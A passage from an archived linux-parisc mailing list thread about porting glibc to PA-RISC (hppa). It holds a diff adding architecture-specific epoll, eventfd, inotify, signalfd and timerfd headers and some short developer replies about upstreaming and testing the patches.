-       if (__builtin_expect (val & FUTEX_WAITERS, 0))  \
-         lll_futex_wake (futex, 1, private);           \
+  (void)						\
+    ({ int *__futex = (futex);				\
+       int val = atomic_exchange_rel (__futex, 0);	\
+       if (__builtin_expect (val & FUTEX_WAITERS, 0))	\
+         lll_futex_wake (__futex, 1, private);		\
     })
 #define lll_robust_unlock(futex, private) \
   __lll_robust_unlock(&(futex), private)

--Apple-Mail-6-346516678
Content-Disposition: attachment; filename="ports-2011-10-30.diff"
Content-Type: application/octet-stream; x-unix-mode=0644;
	name="ports-2011-10-30.diff"
Content-Transfer-Encoding: 7bit

Index: eglibc-2.13/ports/ChangeLog.hppa
===================================================================
--- eglibc-2.13.orig/ports/ChangeLog.hppa	2011-09-24 18:40:01.000000000 -0400
+++ eglibc-2.13/ports/ChangeLog.hppa	2011-10-30 11:43:20.000000000 -0400
@@ -3,6 +3,19 @@
 	* sysdeps/hppa/dl-machine.h: Update copyright year.
 	(ELF_MACHINE_BEFORE_RTLD_RELOC): Call _dl_fptr_init.
 
+2010-08-06  Guy Martin <gmsoft@tuxicoman.be>
+
+	* ports/sysdeps/unix/sysv/linux/hppa/sys/epoll.h:
+	Fix EPOLL_CLOEXEC and EPOLL_NONBLOCK to match kernel definition.
+	* ports/sysdeps/unix/sysv/linux/hppa/sys/eventfd.h:
+	Fix EFD_CLOEXEC and EFD_NONBLOCK to match kernel definition.
+	* ports/sysdeps/unix/sysv/linux/hppa/sys/inotify.h:
+	Fix IN_CLOEXEC and IN_NONBLOCK to match kernel definition.
+	* ports/sysdeps/unix/sysv/linux/hppa/sys/signalfd.h:
+	Fix SFD_CLOEXEC and SFD_NONBLOCK to match kernel definition.
+	* ports/sysdeps/unix/sysv/linux/hppa/sys/timerfd.h:
+	Fix TFD_CLOEXEC and TFD_NONBLOCK to match kernel definition.
+
 2010-06-24  Carlos O'Donell  <carlos@codesourcery.com>
 
 	* sysdeps/unix/sysv/linux/hppa/nptl/pt-vfork.S: Only create stack 
Index: eglibc-2.13/ports/sysdeps/unix/sysv/linux/hppa/sys/epoll.h
===================================================================
--- /dev/null	1970-01-01 00:00:00.000000000 +0000
+++ eglibc-2.13/ports/sysdeps/unix/sysv/linux/hppa/sys/epoll.h	2011-10-30 11:44:30.000000000 -0400
@@ -0,0 +1,144 @@
+/* Copyright (C) 2002-2006, 2007, 2008, 2009 Free Software Foundation, Inc.
+   This file is part of the GNU C Library.
+
+   The GNU C Library is free software; you can redistribute it and/or
+   modify it under the terms of the GNU Lesser General Public
+   License as published by the Free Software Foundation; either
+   version 2.1 of the License, or (at your option) any later version.
+
+   The GNU C Library is distributed in the hope that it will be useful,
+   but WITHOUT ANY WARRANTY; without even the implied warranty of
+   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+   Lesser General Public License for more details.
+
+   You should have received a copy of the GNU Lesser General Public
+   License along with the GNU C Library; if not, write to the Free
+   Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
+   02111-1307 USA.  */
+
+#ifndef	_SYS_EPOLL_H
+#define	_SYS_EPOLL_H	1
+
+#include <stdint.h>
+#include <sys/types.h>
+
+/* Get __sigset_t.  */
+#include <bits/sigset.h>
+
+#ifndef __sigset_t_defined
+# define __sigset_t_defined
+typedef __sigset_t sigset_t;
+#endif
+
+
+/* Flags to be passed to epoll_create1.  */
+enum
+  {
+    EPOLL_CLOEXEC = 010000000,
+#define EPOLL_CLOEXEC EPOLL_CLOEXEC
+    EPOLL_NONBLOCK = 00200004 /* HPUX has separate NDELAY & NONBLOCK */
+#define EPOLL_NONBLOCK EPOLL_NONBLOCK
+  };
+
+
+enum EPOLL_EVENTS
+  {
+    EPOLLIN = 0x001,
+#define EPOLLIN EPOLLIN
+    EPOLLPRI = 0x002,
+#define EPOLLPRI EPOLLPRI
+    EPOLLOUT = 0x004,
+#define EPOLLOUT EPOLLOUT
+    EPOLLRDNORM = 0x040,
+#define EPOLLRDNORM EPOLLRDNORM
+    EPOLLRDBAND = 0x080,
+#define EPOLLRDBAND EPOLLRDBAND
+    EPOLLWRNORM = 0x100,
+#define EPOLLWRNORM EPOLLWRNORM
+    EPOLLWRBAND = 0x200,
+#define EPOLLWRBAND EPOLLWRBAND
+    EPOLLMSG = 0x400,
+#define EPOLLMSG EPOLLMSG
+    EPOLLERR = 0x008,
+#define EPOLLERR EPOLLERR
+    EPOLLHUP = 0x010,
+#define EPOLLHUP EPOLLHUP
+    EPOLLRDHUP = 0x2000,
+#define EPOLLRDHUP EPOLLRDHUP
+    EPOLLONESHOT = (1 << 30),
+#define EPOLLONESHOT EPOLLONESHOT
+    EPOLLET = (1 << 31)
+#define EPOLLET EPOLLET
+  };
+
+
+/* Valid opcodes ( "op" parameter ) to issue to epoll_ctl().  */
+#define EPOLL_CTL_ADD 1	/* Add a file descriptor to the interface.  */
+#define EPOLL_CTL_DEL 2	/* Remove a file descriptor from the interface.  */
+#define EPOLL_CTL_MOD 3	/* Change file descriptor epoll_event structure.  */
+
+
+typedef union epoll_data
+{
+  void *ptr;
+  int fd;
+  uint32_t u32;
+  uint64_t u64;
+} epoll_data_t;
+
+struct epoll_event
+{
+  uint32_t events;	/* Epoll events */
+  epoll_data_t data;	/* User data variable */
+};
+
+
+__BEGIN_DECLS
+
+/* Creates an epoll instance.  Returns an fd for the new instance.
+   The "size" parameter is a hint specifying the number of file
+   descriptors to be associated with the new instance.  The fd
+   returned by epoll_create() should be closed with close().  */
+extern int epoll_create (int __size) __THROW;
+
+/* Same as epoll_create but with an FLAGS parameter.  The unused SIZE
+   parameter has been dropped.  */
+extern int epoll_create1 (int __flags) __THROW;
+
+
+/* Manipulate an epoll instance "epfd". Returns 0 in case of success,
+   -1 in case of error ( the "errno" variable will contain the
+   specific error code ) The "op" parameter is one of the EPOLL_CTL_*
+   constants defined above. The "fd" parameter is the target of the
+   operation. The "event" parameter describes which events the caller
+   is interested in and any associated user data.  */
+extern int epoll_ctl (int __epfd, int __op, int __fd,
+		      struct epoll_event *__event) __THROW;
+
+
+/* Wait for events on an epoll instance "epfd". Returns the number of
+   triggered events returned in "events" buffer. Or -1 in case of
+   error with the "errno" variable set to the specific error code. The
+   "events" parameter is a buffer that will contain triggered
+   events. The "maxevents" is the maximum number of events to be
+   returned ( usually size of "events" ). The "timeout" parameter
+   specifies the maximum wait time in milliseconds (-1 == infinite).
+
+   This function is a cancellation point and therefore not marked with
+   __THROW.  */
+extern int epoll_wait (int __epfd, struct epoll_event *__events,
+		       int __maxevents, int __timeout);
+
+
+/* Same as epoll_wait, but the thread's signal mask is temporarily
+   and atomically replaced with the one provided as parameter.
+
+   This function is a cancellation point and therefore not marked with
+   __THROW.  */
+extern int epoll_pwait (int __epfd, struct epoll_event *__events,
+			int __maxevents, int __timeout,
+			__const __sigset_t *__ss);
+
+__END_DECLS
+
+#endif /* sys/epoll.h */
Index: eglibc-2.13/ports/sysdeps/unix/sysv/linux/hppa/sys/eventfd.h
===================================================================
--- /dev/null	1970-01-01 00:00:00.000000000 +0000
+++ eglibc-2.13/ports/sysdeps/unix/sysv/linux/hppa/sys/eventfd.h	2011-10-30 11:44:30.000000000 -0400
@@ -0,0 +1,54 @@
+/* Copyright (C) 2007, 2008, 2009 Free Software Foundation, Inc.
+   This file is part of the GNU C Library.
+
+   The GNU C Library is free software; you can redistribute it and/or
+   modify it under the terms of the GNU Lesser General Public
+   License as published by the Free Software Foundation; either
+   version 2.1 of the License, or (at your option) any later version.
+
+   The GNU C Library is distributed in the hope that it will be useful,
+   but WITHOUT ANY WARRANTY; without even the implied warranty of
+   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+   Lesser General Public License for more details.
+
+   You should have received a copy of the GNU Lesser General Public
+   License along with the GNU C Library; if not, write to the Free
+   Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
+   02111-1307 USA.  */
+
+#ifndef	_SYS_EVENTFD_H
+#define	_SYS_EVENTFD_H	1
+
+#include <stdint.h>
+
+
+/* Type for event counter.  */
+typedef uint64_t eventfd_t;
+
+/* Flags for signalfd.  */
+enum
+  {
+    EFD_SEMAPHORE = 1,
+#define EFD_SEMAPHORE EFD_SEMAPHORE
+    EFD_CLOEXEC = 010000000,
+#define EFD_CLOEXEC EFD_CLOEXEC
+    EFD_NONBLOCK = 00200004 /* HPUX has separate NDELAY & NONBLOCK */
+#define EFD_NONBLOCK EFD_NONBLOCK
+  };
+
+
+__BEGIN_DECLS
+
+/* Return file descriptor for generic event channel.  Set initial
+   value to COUNT.  */
+extern int eventfd (int __count, int __flags) __THROW;
+
+/* Read event counter and possibly wait for events.  */
+extern int eventfd_read (int __fd, eventfd_t *__value);
+
+/* Increment event counter.  */
+extern int eventfd_write (int __fd, eventfd_t __value);
+
+__END_DECLS
+
+#endif /* sys/eventfd.h */
Index: eglibc-2.13/ports/sysdeps/unix/sysv/linux/hppa/sys/inotify.h
===================================================================
--- /dev/null	1970-01-01 00:00:00.000000000 +0000
+++ eglibc-2.13/ports/sysdeps/unix/sysv/linux/hppa/sys/inotify.h	2011-10-30 11:44:30.000000000 -0400
@@ -0,0 +1,105 @@
+/* Copyright (C) 2005, 2006, 2008, 2009 Free Software Foundation, Inc.
+   This file is part of the GNU C Library.
+
+   The GNU C Library is free software; you can redistribute it and/or
+   modify it under the terms of the GNU Lesser General Public
+   License as published by the Free Software Foundation; either
+   version 2.1 of the License, or (at your option) any later version.
+
+   The GNU C Library is distributed in the hope that it will be useful,
+   but WITHOUT ANY WARRANTY; without even the implied warranty of
+   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+   Lesser General Public License for more details.
+
+   You should have received a copy of the GNU Lesser General Public
+   License along with the GNU C Library; if not, write to the Free
+   Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
+   02111-1307 USA.  */
+
+#ifndef	_SYS_INOTIFY_H
+#define	_SYS_INOTIFY_H	1
+
+#include <stdint.h>
+
+
+/* Flags for the parameter of inotify_init1.  */
+enum
+  {
+    IN_CLOEXEC = 010000000,
+#define IN_CLOEXEC IN_CLOEXEC
+    IN_NONBLOCK = 000200004 /* HPUX has separate NDELAY & NONBLOCK */
+#define IN_NONBLOCK IN_NONBLOCK
+  };
+
+
+/* Structure describing an inotify event.  */
+struct inotify_event
+{
+  int wd;		/* Watch descriptor.  */
+  uint32_t mask;	/* Watch mask.  */
+  uint32_t cookie;	/* Cookie to synchronize two events.  */
+  uint32_t len;		/* Length (including NULs) of name.  */
+  char name __flexarr;	/* Name.  */
+};
+
+
+/* Supported events suitable for MASK parameter of INOTIFY_ADD_WATCH.  */
+#define IN_ACCESS	 0x00000001	/* File was accessed.  */
+#define IN_MODIFY	 0x00000002	/* File was modified.  */
+#define IN_ATTRIB	 0x00000004	/* Metadata changed.  */
+#define IN_CLOSE_WRITE	 0x00000008	/* Writtable file was closed.  */
+#define IN_CLOSE_NOWRITE 0x00000010	/* Unwrittable file closed.  */
+#define IN_CLOSE	 (IN_CLOSE_WRITE | IN_CLOSE_NOWRITE) /* Close.  */
+#define IN_OPEN		 0x00000020	/* File was opened.  */
+#define IN_MOVED_FROM	 0x00000040	/* File was moved from X.  */
+#define IN_MOVED_TO      0x00000080	/* File was moved to Y.  */
+#define IN_MOVE		 (IN_MOVED_FROM | IN_MOVED_TO) /* Moves.  */
+#define IN_CREATE	 0x00000100	/* Subfile was created.  */
+#define IN_DELETE	 0x00000200	/* Subfile was deleted.  */
+#define IN_DELETE_SELF	 0x00000400	/* Self was deleted.  */
+#define IN_MOVE_SELF	 0x00000800	/* Self was moved.  */
+
+/* Events sent by the kernel.  */
+#define IN_UNMOUNT	 0x00002000	/* Backing fs was unmounted.  */
+#define IN_Q_OVERFLOW	 0x00004000	/* Event queued overflowed.  */
+#define IN_IGNORED	 0x00008000	/* File was ignored.  */
+
+/* Helper events.  */
+#define IN_CLOSE	 (IN_CLOSE_WRITE | IN_CLOSE_NOWRITE)	/* Close.  */
+#define IN_MOVE		 (IN_MOVED_FROM | IN_MOVED_TO)		/* Moves.  */
+
+/* Special flags.  */
+#define IN_ONLYDIR	 0x01000000	/* Only watch the path if it is a
+					   directory.  */
+#define IN_DONT_FOLLOW	 0x02000000	/* Do not follow a sym link.  */
+#define IN_MASK_ADD	 0x20000000	/* Add to the mask of an already
+					   existing watch.  */
+#define IN_ISDIR	 0x40000000	/* Event occurred against dir.  */
+#define IN_ONESHOT	 0x80000000	/* Only send event once.  */
+
+/* All events which a program can wait on.  */
+#define IN_ALL_EVENTS	 (IN_ACCESS | IN_MODIFY | IN_ATTRIB | IN_CLOSE_WRITE  \
+			  | IN_CLOSE_NOWRITE | IN_OPEN | IN_MOVED_FROM	      \
+			  | IN_MOVED_TO | IN_CREATE | IN_DELETE		      \
+			  | IN_DELETE_SELF | IN_MOVE_SELF)
+
+
+__BEGIN_DECLS
+
+/* Create and initialize inotify instance.  */
+extern int inotify_init (void) __THROW;
+
+/* Create and initialize inotify instance.  */
+extern int inotify_init1 (int __flags) __THROW;
+
+/* Add watch of object NAME to inotify instance FD.  Notify about
+   events specified by MASK.  */
+extern int inotify_add_watch (int __fd, const char *__name, uint32_t __mask)
+  __THROW;
+
+/* Remove the watch specified by WD from the inotify instance FD.  */
+extern int inotify_rm_watch (int __fd, int __wd) __THROW;
+
+__END_DECLS
+
+#endif /* sys/inotify.h */
Index: eglibc-2.13/ports/sysdeps/unix/sysv/linux/hppa/sys/signalfd.h
===================================================================
--- /dev/null	1970-01-01 00:00:00.000000000 +0000
+++ eglibc-2.13/ports/sysdeps/unix/sysv/linux/hppa/sys/signalfd.h	2011-10-30 11:44:30.000000000 -0400
@@ -0,0 +1,66 @@
+/* Copyright (C) 2007, 2008 Free Software Foundation, Inc.
+   This file is part of the GNU C Library.
+
+   The GNU C Library is free software; you can redistribute it and/or
+   modify it under the terms of the GNU Lesser General Public
+   License as published by the Free Software Foundation; either
+   version 2.1 of the License, or (at your option) any later version.
+
+   The GNU C Library is distributed in the hope that it will be useful,
+   but WITHOUT ANY WARRANTY; without even the implied warranty of
+   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+   Lesser General Public License for more details.
+
+   You should have received a copy of the GNU Lesser General Public
+   License along with the GNU C Library; if not, write to the Free
+   Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
+   02111-1307 USA.  */
+
+#ifndef	_SYS_SIGNALFD_H
+#define	_SYS_SIGNALFD_H	1
+
+#define __need_sigset_t
+#include <signal.h>
+#include <stdint.h>
+
+
+struct signalfd_siginfo
+{
+  uint32_t ssi_signo;
+  int32_t ssi_errno;
+  int32_t ssi_code;
+  uint32_t ssi_pid;
+  uint32_t ssi_uid;
+  int32_t ssi_fd;
+  uint32_t ssi_tid;
+  uint32_t ssi_band;
+  uint32_t ssi_overrun;
+  uint32_t ssi_trapno;
+  int32_t ssi_status;
+  int32_t ssi_int;
+  uint64_t ssi_ptr;
+  uint64_t ssi_utime;
+  uint64_t ssi_stime;
+  uint64_t ssi_addr;
+  uint8_t __pad[48];
+};
+
+/* Flags for signalfd.  */
+enum
+  {
+    SFD_CLOEXEC = 010000000,
+#define SFD_CLOEXEC SFD_CLOEXEC
+    SFD_NONBLOCK = 00200004 /* HPUX has separate NDELAY & NONBLOCK */
+#define SFD_NONBLOCK SFD_NONBLOCK
+  };
+
+__BEGIN_DECLS
+
+/* Request notification for delivery of signals in MASK to be
+   performed using descriptor FD.*/
+extern int signalfd (int __fd, const sigset_t *__mask, int __flags)
+  __THROW __nonnull ((2));
+
+__END_DECLS
+
+#endif /* sys/signalfd.h */
Index: eglibc-2.13/ports/sysdeps/unix/sysv/linux/hppa/sys/timerfd.h
===================================================================
--- /dev/null	1970-01-01 00:00:00.000000000 +0000
+++ eglibc-2.13/ports/sysdeps/unix/sysv/linux/hppa/sys/timerfd.h	2011-10-30 11:44:30.000000000 -0400
@@ -0,0 +1,60 @@
+/* Copyright (C) 2008 Free Software Foundation, Inc.
+   This file is part of the GNU C Library.
+
+   The GNU C Library is free software; you can redistribute it and/or
+   modify it under the terms of the GNU Lesser General Public
+   License as published by the Free Software Foundation; either
+   version 2.1 of the License, or (at your option) any later version.
+
+   The GNU C Library is distributed in the hope that it will be useful,
+   but WITHOUT ANY WARRANTY; without even the implied warranty of
+   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+   Lesser General Public License for more details.
+
+   You should have received a copy of the GNU Lesser General Public
+   License along with the GNU C Library; if not, write to the Free
+   Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
+   02111-1307 USA.  */
+
+#ifndef	_SYS_TIMERFD_H
+#define	_SYS_TIMERFD_H	1
+
+#include <time.h>
+
+
+/* Bits to be set in the FLAGS parameter of `timerfd_create'.  */
+enum
+  {
+    TFD_CLOEXEC = 010000000,
+#define TFD_CLOEXEC TFD_CLOEXEC
+    TFD_NONBLOCK = 000200004 /* HPUX has separate NDELAY & NONBLOCK */
+#define TFD_NONBLOCK TFD_NONBLOCK
+  };
+
+
+/* Bits to be set in the FLAGS parameter of `timerfd_settime'.  */
+enum
+  {
+    TFD_TIMER_ABSTIME = 1 << 0
+#define TFD_TIMER_ABSTIME TFD_TIMER_ABSTIME
+  };
+
+
+__BEGIN_DECLS
+
+/* Return file descriptor for new interval timer source.  */
+extern int timerfd_create (clockid_t __clock_id, int __flags) __THROW;
+
+/* Set next expiration time of interval timer source UFD to UTMR.  If
+   FLAGS has the TFD_TIMER_ABSTIME flag set the timeout value is
+   absolute.  Optionally return the old expiration time in OTMR.  */
+extern int timerfd_settime (int __ufd, int __flags,
+			    __const struct itimerspec *__utmr,
+			    struct itimerspec *__otmr) __THROW;
+
+/* Return the next expiration time of UFD.  */
+extern int timerfd_gettime (int __ufd, struct itimerspec *__otmr) __THROW;
+
+__END_DECLS
+
+#endif /* sys/timerfd.h */

--Apple-Mail-6-346516678
Content-Type: text/plain; charset="US-ASCII"; format=flowed
Content-Transfer-Encoding: 7bit



--Apple-Mail-6-346516678--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: futex: Use same lock set as lws calls
Date: Mon, 31 Oct 2011 22:15:06 -0400
Lines: 16
Approved: news@gmane.org
Message-ID: <4EAF562A.2070407@systemhalted.org>
References: <20111009204010.GA22374@hiauly1.hia.nrc.ca> <CADZpyizJwcEFNLZyhd74wDyFvrgNpD6j+2cRhjR7ZkL0xTWAgA@mail.gmail.com> <BLU0-SMTP13C59771871C90183AFBCB97D10@phx.gbl> <2746859.nK5NlKbf2R@donald.sf-tec.de> <BLU0-SMTP8183F951B80BB9F5455EB297D10@phx.gbl> <CADZpyizsC-eSgCSyK52-Ns12z+mWUpFB8JH2dC2C7J_3EnGR5Q@mail.gmail.com> <BLU0-SMTP39F6756368C783FB821D4297D60@phx.gbl>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1320113715 1510 80.91.229.12 (1 Nov 2011 02:15:15 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 1 Nov 2011 02:15:15 +0000 (UTC)
Cc: Rolf Eike Beer <eike-kernel@sf-tec.de>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Nov 01 03:15:11 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RL3sc-0000HG-M0
	for glpp-linux-parisc@lo.gmane.org; Tue, 01 Nov 2011 03:15:11 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752462Ab1KACPI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 31 Oct 2011 22:15:08 -0400
Original-Received: from mail-yw0-f46.google.com ([209.85.213.46]:55325 "EHLO
	mail-yw0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751525Ab1KACPI (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 31 Oct 2011 22:15:08 -0400
Original-Received: by ywf7 with SMTP id 7so1740329ywf.19
        for <linux-parisc@vger.kernel.org>; Mon, 31 Oct 2011 19:15:07 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=sender:message-id:date:from:user-agent:mime-version:to:cc:subject
         :references:in-reply-to:x-enigmail-version:content-type
         :content-transfer-encoding;
        bh=Wb4SC0Ti1Rz0+KU2fAe1CoR10zbBJetfoSP6VCaUAmc=;
        b=HExJvSpgZisOeVCi45G5SEqmdNY9tRlp4ECpA8AugR1ivX1nWkAiM9Wt+dfUjDWEBZ
         UoiRRjdcIO0tDTcD/mxfc077a9AN6g5UvM8AelZ2B0A1jrVP472fVgCFPrLRSihoK2Xp
         ICDXdVxGVdzXt89WPlwbjhRdGpPBPVkjeNixg=
Original-Received: by 10.236.182.199 with SMTP id o47mr54371yhm.61.1320113707027;
        Mon, 31 Oct 2011 19:15:07 -0700 (PDT)
Original-Received: from [192.168.2.18] (bas3-ottawa23-1177761587.dsl.bell.ca. [70.51.55.51])
        by mx.google.com with ESMTPS id m29sm21611362yhi.20.2011.10.31.19.15.05
        (version=SSLv3 cipher=OTHER);
        Mon, 31 Oct 2011 19:15:06 -0700 (PDT)
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:7.0.1) Gecko/20110929 Thunderbird/7.0.1
In-Reply-To: <BLU0-SMTP39F6756368C783FB821D4297D60@phx.gbl>
X-Enigmail-Version: 1.3.2
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4021
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4021>

On 10/30/2011 9:36 PM, John David Anglin wrote:
> I've been wondering how much is left to install to glibc head?

I've pushed out almost all of glibc-ports into upstream.

There are probably a half-dozen patches against glibc proper for which I'm writing up submissions and making sure I don't impact x86 fast path.

Submitting patches to core glibc isn't like any other project :-)

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Domenico Andreoli <cavok@debian.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: [PATCH] parisc: futex: Use same lock set as lws calls
Date: Tue, 1 Nov 2011 10:15:00 +0100
Lines: 26
Approved: news@gmane.org
Message-ID: <20111101091500.GA27751@glitch>
References: <20111009204010.GA22374@hiauly1.hia.nrc.ca>
 <CADZpyizJwcEFNLZyhd74wDyFvrgNpD6j+2cRhjR7ZkL0xTWAgA@mail.gmail.com>
 <BLU0-SMTP13C59771871C90183AFBCB97D10@phx.gbl>
 <2746859.nK5NlKbf2R@donald.sf-tec.de>
 <BLU0-SMTP8183F951B80BB9F5455EB297D10@phx.gbl>
 <CADZpyizsC-eSgCSyK52-Ns12z+mWUpFB8JH2dC2C7J_3EnGR5Q@mail.gmail.com>
 <BLU0-SMTP39F6756368C783FB821D4297D60@phx.gbl>
 <20111031094110.GA29821@glitch>
 <BLU0-SMTP23C76900AA581465CC639797D60@phx.gbl>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1320139019 3050 80.91.229.12 (1 Nov 2011 09:16:59 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 1 Nov 2011 09:16:59 +0000 (UTC)
Cc: Carlos O'Donell <carlos@systemhalted.org>,
	Rolf Eike Beer <eike-kernel@sf-tec.de>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	debian-hppa@lists.debian.org
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Nov 01 10:16:54 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RLASh-0006vl-9F
	for glpp-linux-parisc@lo.gmane.org; Tue, 01 Nov 2011 10:16:51 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752462Ab1KAJQu (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 1 Nov 2011 05:16:50 -0400
Original-Received: from mail-ey0-f174.google.com ([209.85.215.174]:34340 "EHLO
	mail-ey0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752100Ab1KAJQu (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 1 Nov 2011 05:16:50 -0400
Original-Received: by eye27 with SMTP id 27so6038484eye.19
        for <linux-parisc@vger.kernel.org>; Tue, 01 Nov 2011 02:16:48 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=sender:date:from:to:cc:subject:message-id:mail-followup-to
         :references:mime-version:content-type:content-disposition
         :in-reply-to;
        bh=oEvWOB351pJajytkf6QhgI2P/Q3HcLlBI2nozsGsCiI=;
        b=e2zGA8ZQCQllZrql+t/7gm8FxLXci0hJBQJTqP+mbHR+sdQ04bVK48GQNHuhIFz6Y4
         er4ze1+7+lyv7Rxy3R6teuk1GGCVBUj8EiyZRrMKL2/R0fhBAGPTnA/KS3qEh2Gc70rx
         V7SHI+6gba48pfSwri7LG1HLn6XBR14dTCjYU=
Original-Received: by 10.14.10.220 with SMTP id 68mr1580450eev.14.1320139008635;
        Tue, 01 Nov 2011 02:16:48 -0700 (PDT)
Original-Received: from glitch (178-85-163-250.dynamic.upc.nl. [178.85.163.250])
        by mx.google.com with ESMTPS id 54sm58511526eex.8.2011.11.01.02.16.02
        (version=TLSv1/SSLv3 cipher=OTHER);
        Tue, 01 Nov 2011 02:16:47 -0700 (PDT)
Original-Received: by glitch (Postfix, from userid 1000)
	id 69E58BA0DC7; Tue,  1 Nov 2011 10:15:00 +0100 (CET)
Mail-Followup-To: John David Anglin <dave.anglin@bell.net>,
	Carlos O'Donell <carlos@systemhalted.org>,
	Rolf Eike Beer <eike-kernel@sf-tec.de>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	debian-hppa@lists.debian.org
Content-Disposition: inline
In-Reply-To: <BLU0-SMTP23C76900AA581465CC639797D60@phx.gbl>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4022 gmane.linux.debian.ports.hppa:6739
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4022>

On Mon, Oct 31, 2011 at 07:26:56PM -0400, John David Anglin wrote:
> On 31-Oct-11, at 5:41 AM, Domenico Andreoli wrote:
> 
> >I would like to redo the exercise on my j5600, are you building Debian
> >packages? Could you please share the sources? Thank you.
> 
> Attached are the hppa libc6 patches that I'm using.  The
> local-stack-grows-up.diff patch needs
> to be removed first, then the patches applied in order of date using
> quilt.
> 
> The last change resolves the udev bug.
> 
> I will send you offline the eglibc_2.13-10.dsc  and the
> eglibc_2.13-10.diff.gz.  The
> eglibc_2.13.orig.tar.gz file should still be available.

I'll give it a ride as soon as I can, thank you.

cheers,
Domenico
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Domenico Andreoli <cavokz@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: futex: Use same lock set as lws calls
Date: Tue, 1 Nov 2011 10:19:54 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <20111101091954.GB27751@glitch>
References: <20111009204010.GA22374@hiauly1.hia.nrc.ca>
 <CADZpyizJwcEFNLZyhd74wDyFvrgNpD6j+2cRhjR7ZkL0xTWAgA@mail.gmail.com>
 <BLU0-SMTP13C59771871C90183AFBCB97D10@phx.gbl>
 <2746859.nK5NlKbf2R@donald.sf-tec.de>
 <BLU0-SMTP8183F951B80BB9F5455EB297D10@phx.gbl>
 <CADZpyizsC-eSgCSyK52-Ns12z+mWUpFB8JH2dC2C7J_3EnGR5Q@mail.gmail.com>
 <BLU0-SMTP39F6756368C783FB821D4297D60@phx.gbl>
